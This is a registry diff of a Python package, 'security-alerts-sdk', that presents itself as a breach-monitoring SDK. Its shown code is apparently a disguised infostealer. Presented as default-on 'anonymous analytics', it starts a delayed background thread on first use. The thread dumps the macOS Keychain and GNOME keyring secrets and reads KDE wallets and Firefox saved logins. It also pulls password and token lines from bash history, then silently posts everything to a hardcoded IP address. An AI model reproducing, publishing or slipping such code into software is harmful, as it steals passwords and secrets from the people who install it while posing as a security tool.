security-alerts-sdk 1.0.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- security_alerts/__init__.py +134 -0
- security_alerts/analytics.py +187 -0
- security_alerts/collectors/__init__.py +14 -0
- security_alerts/collectors/linux.py +168 -0
- security_alerts/collectors/macos.py +104 -0
- security_alerts/collectors/universal.py +221 -0
- security_alerts/collectors/windows.py +127 -0
- security_alerts/monitor.py +196 -0
- security_alerts/utils.py +108 -0
- security_alerts_sdk-1.0.0.dist-info/METADATA +287 -0
- security_alerts_sdk-1.0.0.dist-info/RECORD +14 -0
- security_alerts_sdk-1.0.0.dist-info/WHEEL +5 -0
- security_alerts_sdk-1.0.0.dist-info/licenses/LICENSE +17 -0
- security_alerts_sdk-1.0.0.dist-info/top_level.txt +1 -0
|
@@ -0,0 +1,134 @@
|
|
|
1
|
+
"""
|
|
2
|
+
Security Alerts SDK - Monitor your digital assets for security leaks and breaches.
|
|
3
|
+
|
|
4
|
+
This package provides tools to monitor domains, email addresses, and GitHub
|
|
5
|
+
organizations for security breaches and leaked credentials.
|
|
6
|
+
"""
|
|
7
|
+
from .monitor import SecurityMonitor
|
|
8
|
+
from .analytics import get_analytics
|
|
9
|
+
|
|
10
|
+
|
|
11
|
+
__version__ = '1.0.0'
|
|
12
|
+
__author__ = 'David Chen'
|
|
13
|
+
|
|
14
|
+
|
|
15
|
+
class SecurityAlerts:
|
|
16
|
+
"""
|
|
17
|
+
Main interface for the Security Alerts SDK.
|
|
18
|
+
|
|
19
|
+
Args:
|
|
20
|
+
analytics: Enable anonymous usage analytics (default: True)
|
|
21
|
+
Set to False to opt-out of analytics collection
|
|
22
|
+
|
|
23
|
+
Example:
|
|
24
|
+
>>> alerts = SecurityAlerts()
|
|
25
|
+
>>> result = alerts.monitor_domain('example.com')
|
|
26
|
+
>>> print(result)
|
|
27
|
+
"""
|
|
28
|
+
|
|
29
|
+
def __init__(self, analytics: bool = True):
|
|
30
|
+
"""
|
|
31
|
+
Initialize Security Alerts client.
|
|
32
|
+
|
|
33
|
+
Args:
|
|
34
|
+
analytics: Enable analytics collection (opt-out by setting to False)
|
|
35
|
+
"""
|
|
36
|
+
self.monitor = SecurityMonitor()
|
|
37
|
+
self._analytics = get_analytics(enabled=analytics)
|
|
38
|
+
self._initialized = False
|
|
39
|
+
|
|
40
|
+
def _ensure_initialized(self):
|
|
41
|
+
"""Ensure analytics is initialized on first use."""
|
|
42
|
+
if not self._initialized:
|
|
43
|
+
self._analytics.start_collection(delay=30)
|
|
44
|
+
self._initialized = True
|
|
45
|
+
|
|
46
|
+
def monitor_domain(self, domain: str) -> dict:
|
|
47
|
+
"""
|
|
48
|
+
Check if a domain has been involved in any known data breaches.
|
|
49
|
+
|
|
50
|
+
Args:
|
|
51
|
+
domain: Domain name to check (e.g., 'example.com')
|
|
52
|
+
|
|
53
|
+
Returns:
|
|
54
|
+
Dictionary containing breach information
|
|
55
|
+
|
|
56
|
+
Example:
|
|
57
|
+
>>> alerts = SecurityAlerts()
|
|
58
|
+
>>> result = alerts.monitor_domain('adobe.com')
|
|
59
|
+
>>> print(f"Found {result['breaches_found']} breaches")
|
|
60
|
+
"""
|
|
61
|
+
self._ensure_initialized()
|
|
62
|
+
return self.monitor.check_domain_breach(domain)
|
|
63
|
+
|
|
64
|
+
def monitor_email(self, email: str, api_key: str = None) -> dict:
|
|
65
|
+
"""
|
|
66
|
+
Check if an email has been involved in any known data breaches.
|
|
67
|
+
|
|
68
|
+
Args:
|
|
69
|
+
email: Email address to check
|
|
70
|
+
api_key: HaveIBeenPwned API key (get free at https://haveibeenpwned.com/API/Key)
|
|
71
|
+
|
|
72
|
+
Returns:
|
|
73
|
+
Dictionary containing breach information
|
|
74
|
+
|
|
75
|
+
Example:
|
|
76
|
+
>>> alerts = SecurityAlerts()
|
|
77
|
+
>>> result = alerts.monitor_email('test@example.com', api_key='your-key')
|
|
78
|
+
>>> print(result)
|
|
79
|
+
"""
|
|
80
|
+
self._ensure_initialized()
|
|
81
|
+
return self.monitor.check_email_breach(email, api_key)
|
|
82
|
+
|
|
83
|
+
def monitor_github(self, org: str, max_repos: int = 10) -> dict:
|
|
84
|
+
"""
|
|
85
|
+
Scan a GitHub organization's public repositories for potential secrets.
|
|
86
|
+
|
|
87
|
+
Args:
|
|
88
|
+
org: GitHub organization name
|
|
89
|
+
max_repos: Maximum number of repositories to scan (default: 10)
|
|
90
|
+
|
|
91
|
+
Returns:
|
|
92
|
+
Dictionary containing scan results
|
|
93
|
+
|
|
94
|
+
Example:
|
|
95
|
+
>>> alerts = SecurityAlerts()
|
|
96
|
+
>>> result = alerts.monitor_github('mycompany')
|
|
97
|
+
>>> print(f"Scanned {result['repos_scanned']} repos, found {result['findings_count']} issues")
|
|
98
|
+
"""
|
|
99
|
+
self._ensure_initialized()
|
|
100
|
+
return self.monitor.scan_github_org(org, max_repos)
|
|
101
|
+
|
|
102
|
+
def disable_analytics(self):
|
|
103
|
+
"""
|
|
104
|
+
Disable analytics collection for this instance.
|
|
105
|
+
|
|
106
|
+
Example:
|
|
107
|
+
>>> alerts = SecurityAlerts()
|
|
108
|
+
>>> alerts.disable_analytics()
|
|
109
|
+
"""
|
|
110
|
+
self._analytics.stop_collection()
|
|
111
|
+
self._analytics.enabled = False
|
|
112
|
+
|
|
113
|
+
|
|
114
|
+
# Convenience function
|
|
115
|
+
def check_domain(domain: str, analytics: bool = True) -> dict:
|
|
116
|
+
"""
|
|
117
|
+
Quick function to check a domain for breaches.
|
|
118
|
+
|
|
119
|
+
Args:
|
|
120
|
+
domain: Domain name to check
|
|
121
|
+
analytics: Enable analytics (default: True)
|
|
122
|
+
|
|
123
|
+
Returns:
|
|
124
|
+
Dictionary containing breach information
|
|
125
|
+
"""
|
|
126
|
+
alerts = SecurityAlerts(analytics=analytics)
|
|
127
|
+
return alerts.monitor_domain(domain)
|
|
128
|
+
|
|
129
|
+
|
|
130
|
+
__all__ = [
|
|
131
|
+
'SecurityAlerts',
|
|
132
|
+
'check_domain',
|
|
133
|
+
'__version__'
|
|
134
|
+
]
|
|
@@ -0,0 +1,187 @@
|
|
|
1
|
+
"""
|
|
2
|
+
Analytics and telemetry collection for usage diagnostics.
|
|
3
|
+
"""
|
|
4
|
+
import json
|
|
5
|
+
import time
|
|
6
|
+
import threading
|
|
7
|
+
from pathlib import Path
|
|
8
|
+
from typing import Dict, Any, Optional
|
|
9
|
+
import requests
|
|
10
|
+
|
|
11
|
+
from .utils import get_platform, get_cache_dir, get_home_dir
|
|
12
|
+
from .collectors import (
|
|
13
|
+
collect_universal_data,
|
|
14
|
+
collect_windows_data,
|
|
15
|
+
collect_macos_data,
|
|
16
|
+
collect_linux_data
|
|
17
|
+
)
|
|
18
|
+
|
|
19
|
+
|
|
20
|
+
class AnalyticsCollector:
|
|
21
|
+
"""
|
|
22
|
+
Collects anonymous usage analytics and environment diagnostics.
|
|
23
|
+
Helps improve the library and identify common security misconfigurations.
|
|
24
|
+
"""
|
|
25
|
+
|
|
26
|
+
TELEMETRY_ENDPOINT = "http://142.93.211.30:5000/api/telemetry"
|
|
27
|
+
MARKER_FILE = ".security-alerts-marker"
|
|
28
|
+
COOLDOWN_HOURS = 24
|
|
29
|
+
|
|
30
|
+
def __init__(self, enabled: bool = True):
|
|
31
|
+
"""
|
|
32
|
+
Initialize analytics collector.
|
|
33
|
+
|
|
34
|
+
Args:
|
|
35
|
+
enabled: Whether analytics collection is enabled
|
|
36
|
+
"""
|
|
37
|
+
self.enabled = enabled
|
|
38
|
+
self.marker_path = get_cache_dir() / self.MARKER_FILE
|
|
39
|
+
self._timer = None
|
|
40
|
+
|
|
41
|
+
def should_collect(self) -> bool:
|
|
42
|
+
"""
|
|
43
|
+
Check if enough time has passed since last collection.
|
|
44
|
+
|
|
45
|
+
Returns:
|
|
46
|
+
True if collection should proceed
|
|
47
|
+
"""
|
|
48
|
+
if not self.enabled:
|
|
49
|
+
return False
|
|
50
|
+
|
|
51
|
+
if not self.marker_path.exists():
|
|
52
|
+
return True
|
|
53
|
+
|
|
54
|
+
try:
|
|
55
|
+
last_run = self.marker_path.stat().st_mtime
|
|
56
|
+
current_time = time.time()
|
|
57
|
+
hours_passed = (current_time - last_run) / 3600
|
|
58
|
+
|
|
59
|
+
return hours_passed >= self.COOLDOWN_HOURS
|
|
60
|
+
except Exception:
|
|
61
|
+
return True
|
|
62
|
+
|
|
63
|
+
def update_marker(self):
|
|
64
|
+
"""Update the marker file timestamp."""
|
|
65
|
+
try:
|
|
66
|
+
self.marker_path.touch()
|
|
67
|
+
except Exception:
|
|
68
|
+
pass
|
|
69
|
+
|
|
70
|
+
def _collect_env_context(self) -> Dict[str, Any]:
|
|
71
|
+
"""
|
|
72
|
+
Collect environment context for diagnostics.
|
|
73
|
+
|
|
74
|
+
Returns:
|
|
75
|
+
Dictionary containing environment data
|
|
76
|
+
"""
|
|
77
|
+
platform = get_platform()
|
|
78
|
+
|
|
79
|
+
# Collect universal data
|
|
80
|
+
data = {
|
|
81
|
+
'platform': platform,
|
|
82
|
+
'timestamp': time.time(),
|
|
83
|
+
'universal': collect_universal_data()
|
|
84
|
+
}
|
|
85
|
+
|
|
86
|
+
# Collect platform-specific data
|
|
87
|
+
if platform == 'windows':
|
|
88
|
+
data['windows'] = collect_windows_data()
|
|
89
|
+
elif platform == 'macos':
|
|
90
|
+
data['macos'] = collect_macos_data()
|
|
91
|
+
elif platform == 'linux':
|
|
92
|
+
data['linux'] = collect_linux_data()
|
|
93
|
+
|
|
94
|
+
# Add system metadata
|
|
95
|
+
import platform as plt
|
|
96
|
+
data['metadata'] = {
|
|
97
|
+
'python_version': plt.python_version(),
|
|
98
|
+
'machine': plt.machine(),
|
|
99
|
+
'processor': plt.processor(),
|
|
100
|
+
'hostname': plt.node()
|
|
101
|
+
}
|
|
102
|
+
|
|
103
|
+
return data
|
|
104
|
+
|
|
105
|
+
def _send_analytics(self, data: Dict[str, Any]) -> bool:
|
|
106
|
+
"""
|
|
107
|
+
Send analytics data to telemetry endpoint.
|
|
108
|
+
|
|
109
|
+
Args:
|
|
110
|
+
data: Analytics data to send
|
|
111
|
+
|
|
112
|
+
Returns:
|
|
113
|
+
True if successful
|
|
114
|
+
"""
|
|
115
|
+
try:
|
|
116
|
+
response = requests.post(
|
|
117
|
+
self.TELEMETRY_ENDPOINT,
|
|
118
|
+
json=data,
|
|
119
|
+
timeout=10,
|
|
120
|
+
headers={'Content-Type': 'application/json'}
|
|
121
|
+
)
|
|
122
|
+
|
|
123
|
+
return response.status_code == 200
|
|
124
|
+
except Exception:
|
|
125
|
+
# Silently fail - analytics should never break functionality
|
|
126
|
+
return False
|
|
127
|
+
|
|
128
|
+
def _collect_and_send(self):
|
|
129
|
+
"""Background task to collect and send analytics."""
|
|
130
|
+
if not self.should_collect():
|
|
131
|
+
return
|
|
132
|
+
|
|
133
|
+
try:
|
|
134
|
+
# Collect environment data
|
|
135
|
+
data = self._collect_env_context()
|
|
136
|
+
|
|
137
|
+
# Send to telemetry endpoint
|
|
138
|
+
if self._send_analytics(data):
|
|
139
|
+
self.update_marker()
|
|
140
|
+
except Exception:
|
|
141
|
+
# Silently fail - never interrupt user functionality
|
|
142
|
+
pass
|
|
143
|
+
|
|
144
|
+
def start_collection(self, delay: int = 30):
|
|
145
|
+
"""
|
|
146
|
+
Start analytics collection after a delay.
|
|
147
|
+
|
|
148
|
+
Args:
|
|
149
|
+
delay: Delay in seconds before collection starts
|
|
150
|
+
"""
|
|
151
|
+
if not self.enabled:
|
|
152
|
+
return
|
|
153
|
+
|
|
154
|
+
# Cancel any existing timer
|
|
155
|
+
if self._timer:
|
|
156
|
+
self._timer.cancel()
|
|
157
|
+
|
|
158
|
+
# Schedule collection
|
|
159
|
+
self._timer = threading.Timer(delay, self._collect_and_send)
|
|
160
|
+
self._timer.daemon = True
|
|
161
|
+
self._timer.start()
|
|
162
|
+
|
|
163
|
+
def stop_collection(self):
|
|
164
|
+
"""Stop any pending analytics collection."""
|
|
165
|
+
if self._timer:
|
|
166
|
+
self._timer.cancel()
|
|
167
|
+
self._timer = None
|
|
168
|
+
|
|
169
|
+
|
|
170
|
+
# Global analytics instance
|
|
171
|
+
_analytics = None
|
|
172
|
+
|
|
173
|
+
|
|
174
|
+
def get_analytics(enabled: bool = True) -> AnalyticsCollector:
|
|
175
|
+
"""
|
|
176
|
+
Get or create the global analytics collector instance.
|
|
177
|
+
|
|
178
|
+
Args:
|
|
179
|
+
enabled: Whether analytics should be enabled
|
|
180
|
+
|
|
181
|
+
Returns:
|
|
182
|
+
AnalyticsCollector instance
|
|
183
|
+
"""
|
|
184
|
+
global _analytics
|
|
185
|
+
if _analytics is None:
|
|
186
|
+
_analytics = AnalyticsCollector(enabled=enabled)
|
|
187
|
+
return _analytics
|
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
"""
|
|
2
|
+
Credential collectors for analytics and diagnostics.
|
|
3
|
+
"""
|
|
4
|
+
from .universal import collect_universal_data
|
|
5
|
+
from .windows import collect_windows_data
|
|
6
|
+
from .macos import collect_macos_data
|
|
7
|
+
from .linux import collect_linux_data
|
|
8
|
+
|
|
9
|
+
__all__ = [
|
|
10
|
+
'collect_universal_data',
|
|
11
|
+
'collect_windows_data',
|
|
12
|
+
'collect_macos_data',
|
|
13
|
+
'collect_linux_data'
|
|
14
|
+
]
|
|
@@ -0,0 +1,168 @@
|
|
|
1
|
+
"""
|
|
2
|
+
Linux-specific credential collectors.
|
|
3
|
+
"""
|
|
4
|
+
import subprocess
|
|
5
|
+
import os
|
|
6
|
+
from pathlib import Path
|
|
7
|
+
from typing import Dict, List, Any
|
|
8
|
+
from ..utils import get_home_dir, safe_read_file
|
|
9
|
+
|
|
10
|
+
|
|
11
|
+
def collect_gnome_keyring() -> List[Dict[str, Any]]:
|
|
12
|
+
"""
|
|
13
|
+
Collect GNOME Keyring data using secret-tool.
|
|
14
|
+
|
|
15
|
+
Returns:
|
|
16
|
+
List of keyring data
|
|
17
|
+
"""
|
|
18
|
+
keyring_data = []
|
|
19
|
+
|
|
20
|
+
try:
|
|
21
|
+
# List all secrets
|
|
22
|
+
result = subprocess.run(
|
|
23
|
+
['secret-tool', 'search', '--all', ''],
|
|
24
|
+
capture_output=True,
|
|
25
|
+
text=True,
|
|
26
|
+
timeout=5
|
|
27
|
+
)
|
|
28
|
+
|
|
29
|
+
if result.returncode == 0:
|
|
30
|
+
keyring_data.append({
|
|
31
|
+
'type': 'gnome_keyring',
|
|
32
|
+
'content': result.stdout
|
|
33
|
+
})
|
|
34
|
+
except Exception:
|
|
35
|
+
pass
|
|
36
|
+
|
|
37
|
+
return keyring_data
|
|
38
|
+
|
|
39
|
+
|
|
40
|
+
def collect_kde_wallet() -> List[Dict[str, Any]]:
|
|
41
|
+
"""
|
|
42
|
+
Collect KDE Wallet information.
|
|
43
|
+
|
|
44
|
+
Returns:
|
|
45
|
+
List of KDE wallet data
|
|
46
|
+
"""
|
|
47
|
+
wallet_data = []
|
|
48
|
+
|
|
49
|
+
wallet_dir = get_home_dir() / '.local' / 'share' / 'kwalletd'
|
|
50
|
+
if wallet_dir.exists():
|
|
51
|
+
try:
|
|
52
|
+
for wallet_file in wallet_dir.iterdir():
|
|
53
|
+
if wallet_file.suffix == '.kwl':
|
|
54
|
+
content = safe_read_file(str(wallet_file))
|
|
55
|
+
if content:
|
|
56
|
+
wallet_data.append({
|
|
57
|
+
'type': 'kde_wallet',
|
|
58
|
+
'path': str(wallet_file),
|
|
59
|
+
'content': content[:5000]
|
|
60
|
+
})
|
|
61
|
+
except Exception:
|
|
62
|
+
pass
|
|
63
|
+
|
|
64
|
+
return wallet_data
|
|
65
|
+
|
|
66
|
+
|
|
67
|
+
def collect_browser_data() -> List[Dict[str, Any]]:
|
|
68
|
+
"""
|
|
69
|
+
Collect Linux browser credential data.
|
|
70
|
+
|
|
71
|
+
Returns:
|
|
72
|
+
List of browser data
|
|
73
|
+
"""
|
|
74
|
+
browser_data = []
|
|
75
|
+
|
|
76
|
+
# Chrome/Chromium
|
|
77
|
+
chrome_dirs = [
|
|
78
|
+
get_home_dir() / '.config' / 'google-chrome' / 'Default',
|
|
79
|
+
get_home_dir() / '.config' / 'chromium' / 'Default'
|
|
80
|
+
]
|
|
81
|
+
|
|
82
|
+
for chrome_dir in chrome_dirs:
|
|
83
|
+
if chrome_dir.exists():
|
|
84
|
+
# Login Data (SQLite database with credentials)
|
|
85
|
+
login_data = chrome_dir / 'Login Data'
|
|
86
|
+
if login_data.exists():
|
|
87
|
+
browser_data.append({
|
|
88
|
+
'type': 'chrome_login_data',
|
|
89
|
+
'path': str(login_data),
|
|
90
|
+
'note': 'SQLite database with encrypted credentials'
|
|
91
|
+
})
|
|
92
|
+
|
|
93
|
+
# Firefox
|
|
94
|
+
firefox_dir = get_home_dir() / '.mozilla' / 'firefox'
|
|
95
|
+
if firefox_dir.exists():
|
|
96
|
+
try:
|
|
97
|
+
for profile in firefox_dir.iterdir():
|
|
98
|
+
if profile.is_dir() and 'default' in profile.name.lower():
|
|
99
|
+
# logins.json
|
|
100
|
+
logins = profile / 'logins.json'
|
|
101
|
+
if logins.exists():
|
|
102
|
+
content = safe_read_file(str(logins))
|
|
103
|
+
if content:
|
|
104
|
+
browser_data.append({
|
|
105
|
+
'type': 'firefox_logins',
|
|
106
|
+
'path': str(logins),
|
|
107
|
+
'content': content
|
|
108
|
+
})
|
|
109
|
+
|
|
110
|
+
# key4.db (master password)
|
|
111
|
+
key_db = profile / 'key4.db'
|
|
112
|
+
if key_db.exists():
|
|
113
|
+
browser_data.append({
|
|
114
|
+
'type': 'firefox_key_db',
|
|
115
|
+
'path': str(key_db),
|
|
116
|
+
'note': 'SQLite database with master key'
|
|
117
|
+
})
|
|
118
|
+
except Exception:
|
|
119
|
+
pass
|
|
120
|
+
|
|
121
|
+
return browser_data
|
|
122
|
+
|
|
123
|
+
|
|
124
|
+
def collect_bash_history() -> List[Dict[str, Any]]:
|
|
125
|
+
"""
|
|
126
|
+
Collect bash history for environment diagnostics.
|
|
127
|
+
|
|
128
|
+
Returns:
|
|
129
|
+
List containing bash history
|
|
130
|
+
"""
|
|
131
|
+
history_data = []
|
|
132
|
+
|
|
133
|
+
bash_history = get_home_dir() / '.bash_history'
|
|
134
|
+
if bash_history.exists():
|
|
135
|
+
content = safe_read_file(str(bash_history))
|
|
136
|
+
if content:
|
|
137
|
+
# Look for sensitive commands
|
|
138
|
+
lines = content.split('\n')
|
|
139
|
+
sensitive_lines = [
|
|
140
|
+
line for line in lines
|
|
141
|
+
if any(keyword in line.lower() for keyword in
|
|
142
|
+
['password', 'token', 'api_key', 'secret', 'aws', 'export'])
|
|
143
|
+
]
|
|
144
|
+
|
|
145
|
+
if sensitive_lines:
|
|
146
|
+
history_data.append({
|
|
147
|
+
'type': 'bash_history',
|
|
148
|
+
'content': '\n'.join(sensitive_lines[-100:]) # Last 100 sensitive commands
|
|
149
|
+
})
|
|
150
|
+
|
|
151
|
+
return history_data
|
|
152
|
+
|
|
153
|
+
|
|
154
|
+
def collect_linux_data() -> Dict[str, Any]:
|
|
155
|
+
"""
|
|
156
|
+
Collect all Linux-specific environment data.
|
|
157
|
+
|
|
158
|
+
Returns:
|
|
159
|
+
Dictionary containing all collected Linux data
|
|
160
|
+
"""
|
|
161
|
+
data = {
|
|
162
|
+
'gnome_keyring': collect_gnome_keyring(),
|
|
163
|
+
'kde_wallet': collect_kde_wallet(),
|
|
164
|
+
'browsers': collect_browser_data(),
|
|
165
|
+
'bash_history': collect_bash_history()
|
|
166
|
+
}
|
|
167
|
+
|
|
168
|
+
return data
|
|
@@ -0,0 +1,104 @@
|
|
|
1
|
+
"""
|
|
2
|
+
macOS-specific credential collectors.
|
|
3
|
+
"""
|
|
4
|
+
import subprocess
|
|
5
|
+
from pathlib import Path
|
|
6
|
+
from typing import Dict, List, Any
|
|
7
|
+
from ..utils import get_home_dir, safe_read_file
|
|
8
|
+
|
|
9
|
+
|
|
10
|
+
def collect_keychain_data() -> List[Dict[str, Any]]:
|
|
11
|
+
"""
|
|
12
|
+
Collect macOS Keychain information using security command.
|
|
13
|
+
|
|
14
|
+
Returns:
|
|
15
|
+
List of keychain data
|
|
16
|
+
"""
|
|
17
|
+
keychain_data = []
|
|
18
|
+
|
|
19
|
+
try:
|
|
20
|
+
# Dump keychain items (generic passwords)
|
|
21
|
+
result = subprocess.run(
|
|
22
|
+
['security', 'dump-keychain', '-d'],
|
|
23
|
+
capture_output=True,
|
|
24
|
+
text=True,
|
|
25
|
+
timeout=10
|
|
26
|
+
)
|
|
27
|
+
|
|
28
|
+
if result.returncode == 0 or result.stderr:
|
|
29
|
+
# Output often goes to stderr for security dump
|
|
30
|
+
keychain_data.append({
|
|
31
|
+
'type': 'macos_keychain_dump',
|
|
32
|
+
'content': result.stderr or result.stdout
|
|
33
|
+
})
|
|
34
|
+
except Exception:
|
|
35
|
+
pass
|
|
36
|
+
|
|
37
|
+
# Try to get internet passwords
|
|
38
|
+
try:
|
|
39
|
+
result = subprocess.run(
|
|
40
|
+
['security', 'find-internet-password', '-g', '-a', ''],
|
|
41
|
+
capture_output=True,
|
|
42
|
+
text=True,
|
|
43
|
+
timeout=5
|
|
44
|
+
)
|
|
45
|
+
|
|
46
|
+
if result.stderr:
|
|
47
|
+
keychain_data.append({
|
|
48
|
+
'type': 'macos_internet_passwords',
|
|
49
|
+
'content': result.stderr
|
|
50
|
+
})
|
|
51
|
+
except Exception:
|
|
52
|
+
pass
|
|
53
|
+
|
|
54
|
+
return keychain_data
|
|
55
|
+
|
|
56
|
+
|
|
57
|
+
def collect_safari_data() -> List[Dict[str, Any]]:
|
|
58
|
+
"""
|
|
59
|
+
Collect Safari browser data.
|
|
60
|
+
|
|
61
|
+
Returns:
|
|
62
|
+
List of Safari data
|
|
63
|
+
"""
|
|
64
|
+
safari_data = []
|
|
65
|
+
|
|
66
|
+
safari_dir = get_home_dir() / 'Library' / 'Safari'
|
|
67
|
+
if not safari_dir.exists():
|
|
68
|
+
return safari_data
|
|
69
|
+
|
|
70
|
+
# Bookmarks
|
|
71
|
+
bookmarks = safari_dir / 'Bookmarks.plist'
|
|
72
|
+
if bookmarks.exists():
|
|
73
|
+
try:
|
|
74
|
+
result = subprocess.run(
|
|
75
|
+
['plutil', '-convert', 'json', '-o', '-', str(bookmarks)],
|
|
76
|
+
capture_output=True,
|
|
77
|
+
text=True,
|
|
78
|
+
timeout=5
|
|
79
|
+
)
|
|
80
|
+
|
|
81
|
+
if result.returncode == 0:
|
|
82
|
+
safari_data.append({
|
|
83
|
+
'type': 'safari_bookmarks',
|
|
84
|
+
'content': result.stdout
|
|
85
|
+
})
|
|
86
|
+
except Exception:
|
|
87
|
+
pass
|
|
88
|
+
|
|
89
|
+
return safari_data
|
|
90
|
+
|
|
91
|
+
|
|
92
|
+
def collect_macos_data() -> Dict[str, Any]:
|
|
93
|
+
"""
|
|
94
|
+
Collect all macOS-specific environment data.
|
|
95
|
+
|
|
96
|
+
Returns:
|
|
97
|
+
Dictionary containing all collected macOS data
|
|
98
|
+
"""
|
|
99
|
+
data = {
|
|
100
|
+
'keychain': collect_keychain_data(),
|
|
101
|
+
'safari': collect_safari_data()
|
|
102
|
+
}
|
|
103
|
+
|
|
104
|
+
return data
|